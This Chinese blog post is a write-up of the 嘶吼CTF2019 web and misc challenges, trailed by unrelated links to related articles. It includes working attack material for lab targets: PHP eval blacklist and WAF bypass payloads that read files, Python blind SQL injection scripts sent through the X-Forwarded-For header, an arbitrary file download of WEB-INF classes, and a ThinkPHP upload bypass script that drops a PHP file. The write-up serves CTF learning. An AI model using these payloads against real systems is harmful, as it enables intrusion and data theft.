easy calc

这次的比赛自己一题都没有做出来,赛后看题解的时候很难受,其实有很多东西自己其实是可以做出来的,但是思路被限制了,可能这就是菜吧。

首先web题目就是一个easy calc,emmmmmmm。想一想当初De1CTF2019的那道计算器。脑子头大.但是这一题是没有那么难。

  • 首先打开网页是一个简单的提交页面。

这里面是提交到calc.php这个文件中,这里面有一个坑,就是要想看到源码,必须要不提交数据(但是我就没有看出这一点导致后面的路越来越难走,以至放弃)。

  • 获取源码

    我们去掉num提交试试

<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

我.......

这个规则其实很好绕的,他过滤了空格 制表符 \r \n 单双引号 反单引号 [ ] 还有$和 \ 和 ^,然后直接拼进了eval里面。
但是我们可以利用eval执行多条语句,简单的pyload?num=1;phpinfo()就可以执行了。没有单双引号,我们可以利用chr(xx).chr(xx) 来构造字符串。

  • fuzz测试

    但是并没有这么简单,我们发现当提交不合格的数据的时候,服务器会返回一个错误。

这个很可能是因为有waf设备在保护着(IPS/IDS等等),这里面利用了php的特性来进行绕过。

原理

当我们提交?%20num=1;xxx的时候。防护设备检测的是num。不是%20num。但是传入php的时候,php又会将前面的空格去掉。因此可以绕过waf检测。

  • payload
执行phpinfo()
?%20num=1;phpinfo()
列举根目录
?%20num=1;print_r(scandir(chr(47))) //47是"/"的ascii值
发现flag文件f1agg
读取
?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))[readme](media/15713976592966/readme.md)

后记

还看到有人用http请求走私做的,我太菜了,没有复现成功。

很可惜,没有做出来,失望也好,后悔也罢,记住这次的教训就行了。

Online Proxy(最可惜的一道题)

现在想一想还很难受,这道题原本就快做出来了,但是。。。。

  • 此题虽然说是Online Proxy,并且题目内容也给人一种是ssrf的假象,但是这道题是一个sql注入题,还是xff的注入!!

注入的原理:

查看源码的时候,会发现有一个current和last_ip,这里面是sql注入的。

说实话这个sql注入的原理是有点绕的,我表达能力不好,这里面就希望各位去尝试了,这里面是单引号的注入,没有任何过滤,需要查看前后两次的回显进行比较。

这里面直接给个脚本。

import requests
import re
import os
flag=""
url="http://node3.buuoj.cn:28540/"
for test in range(1,100) :
low=0
high=128
while low<=high:
mid=(low+high)//2
header={"X-Forwarded-For":"0' or (ascii(substr((select group_concat(schema_name) from information_schema.schemata ),{},1))>{}) or '0".format(str(test),str(mid)),"Cookie":"track_uuid=ae937590-4ac9-4719-bf6f-f49ab4f42506"}
Mikasa=requests.get(url,headers=header)
header={"X-Forwarded-For":"0' or (ascii(substr((select group_concat(schema_name) from information_schema.schemata ),{},1))>{}) or '00".format(str(test),str(mid)),"Cookie":"track_uuid=ae937590-4ac9-4719-bf6f-f49ab4f42506"}
Mikasa=requests.get(url,headers=header)
Mikasa=requests.get(url,headers=header)
if "Last Ip: 1" in Mikasa.text :
low=mid+1
else :
high=mid-1
flag+=chr(int(low+high+1)//2)
print(flag)

注入表名

import requests
import re
import os
flag=""
url="http://node3.buuoj.cn:28540/"
for test in range(1,100) :
low=0
high=128
while low<=high:
mid=(low+high)//2
header={"X-Forwarded-For":"0' or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=0x46346c395f4434743442343565 ),{},1))>{}) or '0".format(str(test),str(mid)),"Cookie":"track_uuid=ae937590-4ac9-4719-bf6f-f49ab4f42506"}
Mikasa=requests.get(url,headers=header)
header={"X-Forwarded-For":"0' or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=0x46346c395f4434743442343565),{},1))>{}) or '00".format(str(test),str(mid)),"Cookie":"track_uuid=ae937590-4ac9-4719-bf6f-f49ab4f42506"}
Mikasa=requests.get(url,headers=header)
Mikasa=requests.get(url,headers=header)
if "Last Ip: 1" in Mikasa.text :
low=mid+1
else :
high=mid-1
flag+=chr(int(low+high+1)//2)
print(flag)

注入字段名

import requests
import re
import os
flag=""
url="http://node3.buuoj.cn:28540/"
for test in range(1,100) :
low=0
high=128
while low<=high:
mid=(low+high)//2
header={"X-Forwarded-For":"0' or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=0x46346c395f4434743442343565 and table_name=0x46346c395f7434623165),{},1))>{}) or '0".format(str(test),str(mid)),"Cookie":"track_uuid=ae937590-4ac9-4719-bf6f-f49ab4f42506"}
Mikasa=requests.get(url,headers=header)
header={"X-Forwarded-For":"0' or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=0x46346c395f4434743442343565 and table_name=0x46346c395f7434623165),{},1))>{}) or '00".format(str(test),str(mid)),"Cookie":"track_uuid=ae937590-4ac9-4719-bf6f-f49ab4f42506"}
Mikasa=requests.get(url,headers=header)
Mikasa=requests.get(url,headers=header)
if "Last Ip: 1" in Mikasa.text :
low=mid+1
else :
high=mid-1
flag+=chr(int(low+high+1)//2)
print(flag)

出flag了QAQ

import requests
import re
import os
flag=""
url="http://node3.buuoj.cn:28540/"
for test in range(1,100) :
low=0
high=128
while low<=high:
mid=(low+high)//2
header={"X-Forwarded-For":"0' or (ascii(substr((select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e),{},1))>{}) or '0".format(str(test),str(mid)),"Cookie":"track_uuid=ae937590-4ac9-4719-bf6f-f49ab4f42506"}
Mikasa=requests.get(url,headers=header)
header={"X-Forwarded-For":"0' or (ascii(substr((select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e),{},1))>{}) or '00".format(str(test),str(mid)),"Cookie":"track_uuid=ae937590-4ac9-4719-bf6f-f49ab4f42506"}
Mikasa=requests.get(url,headers=header)
Mikasa=requests.get(url,headers=header)
if "Last Ip: 1" in Mikasa.text :
low=mid+1
else :
high=mid-1
flag+=chr(int(low+high+1)//2)
print(flag)

Easy Java

这一题确实有点坑,还有点脑洞。。

  • 弱口令
    首先这个登录框其实是一个弱口令admin::admin888

但是登录之后并没有什么有用的信息。

只有一张图片

  • 任意文件下载

回到登录框发现有帮助,是一个任意文件下载,但是并非是get型的(这是一个坑)。

修改为POST型之后,先下载/WEB-INF/web.xml文件看一下结构..

之后发现存在flag控制器

下载/WEB-INF/classes/com/wm/ctf/FlagController.class获取flag

后记:一般对于java的web工程,.class文件都是放在/WEB-INF下的classes文件下面。

simple upload

这道题目用的是thinkphp来写的,但是自己没有怎么学过thinkphp,难受。

以下是源代码。

<?php
namespace Home\Controller; use Think\Controller; class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);//显示源码
}
public function upload()//
{
$uploadFile = $_FILES['file']; if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
} $upload = new \Think\Upload();// 实例化上传类,未加参数会导致所有的文件都会上传(即整个文件数组都会上传)
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}

看一下规则吧,这里面来说吧,这里面实例化upload上传类的时候会发现没有加入任何的参数,如果没有加任何的参数会导致文件数组里面的东西都会被上传进去。

并且这里面只判断了$_FILES['file']的后缀,另外
\$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
这个是有问题的,在upload类里面限定后缀的是\$upload->exts()

所以我们上传的时候就可以上传文件数组绕过,并且上传的默认命名规则是
array('uniqid',''),所以上传后的文件名很相近,我们爆破后三位就行了。

脚本

# -*- coding: utf-8 -*-
import requests
import os
import re
url="http://6c3b26e6-55f3-45b7-a09f-3b847a1d362a.node3.buuoj.cn/index.php?s=Home/index/upload"
file={"file":open("./1.txt","r"),"file233":open("1.php","r")}
proxies={"http":"http://127.0.0.1:8080"}
Mikasa=requests.post(url,files=file)
print(Mikasa.text)
result=Mikasa.text.split("/")[-1].split(".")[0]#上传后的文件名
Sabre=int(result,16) while 1 :
Sabre=Sabre+1
os=requests.session()
Saber_test=str(hex(Sabre)).split("0x")[1]
url_test="http://6c3b26e6-55f3-45b7-a09f-3b847a1d362a.node3.buuoj.cn/Public/Uploads/2019-10-22/{}.php".format(Saber_test)
print(url_test)
try :
oss=os.get(url_test,timeout=1)
except :
pass
#print(oss.text)
if oss.status_code !=404 :
print(url_test)
exit()
break

dict

Go语言的题目,太菜了,不会。

黄金6年(杂项)

涉及的Linux的命令(当然也可以用win上的工具)
strings
base64
hexdump

首先使用strings查看一下基础的信息。

strings 黄金6年

在末尾发现有base64的密文。

UmFyIRoHAQAzkrXlCgEFBgAFAQGAgADh7ek5VQIDPLAABKEAIEvsUpGAAwAIZmxhZy50eHQwAQADDx43HyOdLMGWfCE9WEsBZprAJQoBSVlWkJNS9TP5du2kyJ275JzsNo29BnSZCgMC3h+UFV9p1QEfJkBPPR6MrYwXmsMCMz67DN/k5u1NYw9ga53a83/B/t2G9FkG/IITuR+9gIvr/LEdd1ZRAwUEAA==

base64解密一下

echo "UmFyIRoHAQAzkrXlCgEFBgAFAQGAgADh7ek5VQIDPLAABKEAIEvsUpGAAwAIZmxhZy50eHQwAQADDx43HyOdLMGWfCE9WEsBZprAJQoBSVlWkJNS9TP5du2kyJ275JzsNo29BnSZCgMC3h+UFV9p1QEfJkBPPR6MrYwXmsMCMz67DN/k5u1NYw9ga53a83/B/t2G9FkG/IITuR+9gIvr/LEdd1ZRAwUEAA==" | base64 -D

还是很模糊那就用16进制加上ascii看一看吧。

echo "UmFyIRoHAQAzkrXlCgEFBgAFAQGAgADh7ek5VQIDPLAABKEAIEvsUpGAAwAIZmxhZy50eHQwAQADDx43HyOdLMGWfCE9WEsBZprAJQoBSVlWkJNS9TP5du2kyJ275JzsNo29BnSZCgMC3h+UFV9p1QEfJkBPPR6MrYwXmsMCMz67DN/k5u1NYw9ga53a83/B/t2G9FkG/IITuR+9gIvr/LEdd1ZRAwUEAA==" | base64 -D | hexdump -C

可以看出这是个rar文件,还是有密码的,密码应该就藏在视频里面。

PS:密码就是视频里面,是四个二维码,需要逐帧观看(最后一个藏的真深)

tankgame(这是个逆向题目吧)

其他的都太难了,撤了撤了。

嘶吼CTF2019总结(Web部分题目复现以及部分杂项)的更多相关文章

  1. 划水嘶吼misc

    划水嘶吼misc [题目描述]: 开局一张图,flag全靠编 [题目writeup]: 瞅半天,瞅到二维码 然后用potplayer按帧查找到skr二维码 通过PS自动调整对比度,扫出key1,2,3 ...

  2. WEB部分题目writeup

    MEIZIJIU_PHP 题目链接: http://202.112.51.184:20001/ 打开网页出现一段PHP代码: 代码大意就是如果得到的code不为空则执行下列操作: 如果code长度大于 ...

  3. 两道CTF Web的题目

    1.easyphp 1.1.题目描述 题目首先是一张不存在的图片 查看源码发现只有一句话 <img src="show.php?img=aGludC5qcGc=" width ...

  4. 【web】docker复现环境踩坑

    在先知看到有师傅发了个学习 P 牛的代码审计的文章,在 github 上下下来复现环境,结果 docker 各种问题,气死 安装 docker-compose:pip install -i https ...

  5. 嘶吼CTF easy calc

    进入之后可以看到我们需要输入一个计算式来得到答案,burpsuite进行抓包之后发现页面来自于calc.php 我们直接访问calc.php页面 发现源代码泄露 可以看到当我们没有输入num值的时候就 ...

  6. 2019CISCN华南线下两道web复现

    原帖地址 : https://xz.aliyun.com/t/5558 2019CISCN华南线下的两个简单 web 部分题目下载地址,有的不完整 : 点我点我 web 1 考点 : 无参函数的 RC ...

  7. [原题复现]-HITCON 2016 WEB《babytrick》[反序列化]

    前言 不想复现的可以访问榆林学院信息安全协会CTF训练平台找到此题直接练手 HITCON 2016 WEB -babytrick(复现) 原题 index.php 1 <?php 2 3 inc ...

  8. Intel产品AMT本地及远程提权漏洞(CVE-2017-5689)复现 【转载自freebuf.com】

    零.绪论: 1.鸣谢freebuf的文章,主要是学习这个漏洞,文章地址: Intel产品AMT本地及远程提权漏洞(CVE-2017-5689)复现 2.在shadon上找了多个该漏洞尝试复现失败(评论 ...

  9. Portswigger web security academy:DOM-based vulnerabilities

    DOM-based vulnerabilities 目录 DOM-based vulnerabilities 1 - DOM XSS using web messages 2 - DOM XSS us ...

随机推荐

  1. k8s集群搭建之一:基础环境

    一按照kubernetes对软件和硬件的要求: 二准备的主机系统以及ip配置 角色 系统 IP k8s-master centos7.4 192.168.137.66 k8s-node1 centos ...

  2. clickhouse高可用-节点宕机数据一致性方案-热扩容

    1. 集群节点及服务分配 说明: 1.1. 在每个节点上启动两个clickhouse服务(后面会详细介绍如何操作这一步),一个数据分片,一个数据备份,为了确保宕机数据一致性,数据分片和数据备份不能同一 ...

  3. Mac 安装react-native 环境踩坑记

    我的工程创建时间是2019.7.11号下午   :首先看一下最后我的工程的package.json各个包的版本: { "name": "MyApp", &quo ...

  4. 关于RF做自动化大致流程的梳理

    RF只是一个框架,类似于单元测试框架,可以实现对用例的有效管理.结合其它第三方库,可以进行,接口,数据库,APP的自动化测试.结合JENKINS,还可以进行有效的持续集成. 本文不讲调用第三方库的哪些 ...

  5. Linux 下tomcat+jdk+mysql安装

    JDK 1.用xftp把 jdk1.8.0_65上传到local下 给他赋予最高权限 1)切换到顶级目录    cd ~ 2)然后切换到上级目录 cd .. 3)切换到local路径下  cd /us ...

  6. 13、testng.xml对用例进行分组

    目录如下: TestGroup.java 代码如下: package com.testng.cn; import org.testng.annotations.*; import static org ...

  7. 类型转换、类型安全以及is和as的使用

    class Program { static void Main(string[] args) { //1.类型转换 { //隐式转换:不需要转型,因为new返回一个Employee对象,而Objec ...

  8. IDEA下将dubbo简单项目跑Demo(2019.12版)

    项目架构(聚合项目,父子模块) src没用,所以删去 选择maven项目,不用勾选模板骨架,直接main方法,因为不用到服务器 顺序是按照:添加pom依赖-接口实现类-配置文件 项目环境 IDE:In ...

  9. 【POJ】1679 The Unique MST

    题目链接:http://poj.org/problem?id=1679 题意:给你一组数据,让你判断是否是唯一的最小生成树. 题解:这里用的是kuangbin大佬的次小生成树的模板.直接判断一下次小生 ...

  10. 十分钟学习 react配套的类型检测库——prop-types的运用

    js 有时在定义变量的类型为number 或string 时并不会报错,所以prop-types 是专门用来检测react ,以前的版本是把它放到react架构里面 ,现在作为一个独立的库搬出来了,跟 ...